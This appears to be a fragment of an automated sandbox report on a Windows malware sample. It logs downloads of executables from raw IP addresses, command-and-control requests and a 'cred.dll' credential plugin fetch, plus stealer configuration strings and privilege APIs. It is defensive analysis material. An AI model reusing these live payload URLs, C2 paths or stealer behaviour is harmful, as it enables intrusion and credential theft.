x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 20 Mar 2024 21:45:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4518 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 20 Mar 2024 21:46:00 GMT Server: cloudflare CF-RAY: 8678e41a6d6fce94-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /hera/amadka.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.62:57893 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed 20 Mar 2024 21:08:15 GMT Accept-Ranges: bytes ETag: "1ca492b9a7bda1:0" Server: Microsoft-IIS/10.0 Date: Wed 20 Mar 2024 21:45:53 GMT Content-Length: 1884672 with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F8000000....... "GET /cost/lenin.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.167 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Mar 2024 21:45:58 GMT Content-Type: application/octet-stream Content-Length: 3102720 Last-Modified: Wed 20 Mar 2024 21:07:30 GMT Connection: keep-alive ETag: "65fb5012-2f5800" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000028010000.......53:T44f,Observed system executable string:"%WINDIR%\system32\IMM32.DLL" [Source: 00000000-00002428-00000C25-37170168] Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00002428-00000C25-45938135] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00001096-00000C25-41142702] Observed system executable string:"%WINDIR%\system32\DUser.dll" [Source: 00000000-00003260-00000C25-131819964] Observed system executable string:"%WINDIR%\system32\xmllite.dll" [Source: 00000000-00003260-00000C25-133815367] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00003260-00000C25-138000877] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00003260-00000C25-138922777] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00003260-00000C25-139575934] Observed system executable string:"%WINDIR%\system32\apphelp.dll" [Source: 00000000-00002184-0000018F-22368471]54:T5b4,Found http requests in header "GET /geoip/v2.1/city/me" Found http requests in header "GET /cost/lenin.exe" Found http requests in header "GET /hera/amadka.exe" Found http requests in header "GET /cost/go.exe" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D" Found http requests in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU" Found http requests in header "POST /Pneh2sXQk0/index.php" Found http requests in header "GET /Pneh2sXQk0/Plugins/cred.dll"55:T5b3,Found string "GET /demo/home.php?s=64.124.12.162 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "HTTP/1.1 403 Forbidden" (Indicator: "HTTP/1.1"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "GET /geoip/v2.1/city/me HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "T /Pneh2sXQk0/Plugins/cred.dll HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "ST /Pneh2sXQk0/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "POST /Pneh2sXQk0/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "eh2sXQk0/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp")56:T13ad,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 20 Mar 2024 20:35:12 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwk" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "cLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJn" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "EaK0gnhS9SZizv8IkTcT4CDQIDvFNZazT" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4h" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQCRd4hKrA6aBAnnS3UYBsso HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzx" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGtzkzxPx%2FXVCfJ4x7GZ0jk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEc" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEmjnEcAcBIRCdkf7NhadAI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdz" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDbVdzMVsELUBBnL7Zp8PpU HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"57:T40a,Found string "ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp") Found string "I+ncalrpc:[OLE74F2E57EFF2F43D59AA0F28EF7B2]" (Indicator: "ncalrpc"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "+ncalrpc:[OLE74F2E57EFF2F43D59AA0F28EF7B2]" (Indicator: "ncalrpc"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "+ncalrpc:[OLE62E98AE1174C41A693BA732B9422]" (Indicator: "ncalrpc"; Source: "00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "+ncalrpc:[OLEC514FF867C95401E9283D06398A0]" (Indicator: "ncalrpc"; Source: "00000000-00002184.00000002.75691.00830000.00000004.mdmp")58:T4e5,file/memory contains long string with (Indicator: "base64"; File: "identifier_2_.htm") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") Found string "paeS" (Indicator: "aes"; Source: "00000000-00001028.00000000.70933.00DD1000.00000040.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "moc.5432.hcraesgg" (Indicator: "aes"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "moc.hcraeserdracerocs" (Indicator: "aes"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "ten.mrofdaes.revres" (Indicator: "aes"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "ten.mrofdaes" (Indicator: "aes"; Source: "00000000-00002184.00000001.75060.00830000.00000004.mdmp, 00000000-00002184.00000002.75691.00830000.00000004.mdmp") Found string "paeS" (Indicator: "aes"; Source: "00000000-00002392.00000000.78194.004D1000.00000040.mdmp")59:Tadb,Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; File: "00000000-00004168.00000001.75701.002B1000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; Source: "00000000-00002184.00000001.75060.000E1000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002184.00000001.75060.04BE0000.00000004.mdmp, 00000000-00002184.00000002.75691.04BE0000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002184.00000001.75060.04BE0000.00000004.mdmp, 00000000-00002184.00000002.75691.04BE0000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002184.00000001.75060.04BE0000.00000004.mdmp, 00000000-00002184.00000002.75691.04BE0000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002184.00000001.75060.04BE0000.00000004.mdmp, 00000000-00002184.00000002.75691.04BE0000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002184.00000001.75060.04BE0000.00000004.mdmp, 00000000-00002184.00000002.75691.04BE0000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp")5a:T91a,file/memory contains long string with (Indicator: "password"; File: "T2VxfHu2n6UnZ19QIlFINoX.zip") file/memory contains long string with (Indicator: "password"; File: "7y4uxGUGvXk5tIQ8V2PxtVS.zip") Found string ""mark_check_cookies":false,"mark_check_history":false,"mark_check_passwords":true,"mark_color":"green","mark_countries":"","mark_domains":"test.com","mark_name":"test"}]" (Indicator: "password"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "ocks5_password" (Indicator: "password"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "rk_check_passwords" (Indicator: "password"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "Passwords: <%passwords%>" (Indicator: "password"; Source: "00000000-00001028.00000001.72086.003E0000.00000004.mdmp") Found string "No Caps LockHCaps Lock is on, which may cause you to enter your password incorrectly." (Indicator: "password"; Source: "00000000-00002412.00000001.72917.03820000.00000002.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00002412.00000001.72917.03820000.00000002.mdmp") Found string "Use Internet connection: {0}/Dial-up or broadband with username and password" (Indicator: "password"; Source: "00000000-00002412.00000001.72917.03820000.00000002.mdmp") Found string "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password, and be available to all users." (Indicator: "password"; Source: "00000000-00002412.00000001.72917.03820000.00000002.mdmp") Found string "Enter Your Dial-Up PassworddEnter the password for the connection you selected. You must use the keyboard to enter the password.P" (Indicator: "password"; Source: "00000000-00002412.00000001.72917.03820000.00000002.mdmp") Found string "Confirm Password5These passwords do not match. Re-enter the passwords./Manually Download the TV Program Guide listings" (Indicator: "password"; Source: "00000000-00002412.00000001.72917.03820000.00000002.mdmp") Found string "Windows Media Center requires an Internet connection with a saved password for all users to automatically download TV Program Guide listings." (Indicator: "password"; Source: "00000000-00002412.00000001.72917.03820000.00000002.mdmp")5b:T4d6,Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00001028.00000000.70933.00D81000.00000040.mdmp, 00000000-00001028.00000001.72086.00D81000.00000040.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00002392.00000000.78194.00481000.00000040.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp")5c:T84d,Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00002412.00000001.72917.0034C000.00000002.mdmp")5d:Tb76,Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: cred_1_.dll] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: cred_1_.dll] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: cred_1_.dll] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: AdobeUpdaterV131.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: AdobeUpdaterV131.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: AdobeUpdaterV131.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: AdobeUpdaterV131.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: AdobeUpdaterV131.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: AdobeUpdaterV131.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: AdobeUpdaterV131.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: AdobeUpdaterV131.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: AdobeUpdaterV131.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: AdobeUpdaterV131.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: AdobeUpdaterV131.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: AdobeUpdaterV131.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: AdobeUpdaterV131.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: AdobeUpdaterV131.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: AdobeUpdaterV131.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: AdobeUpdaterV131.exe]5e:T1000a,"initAft()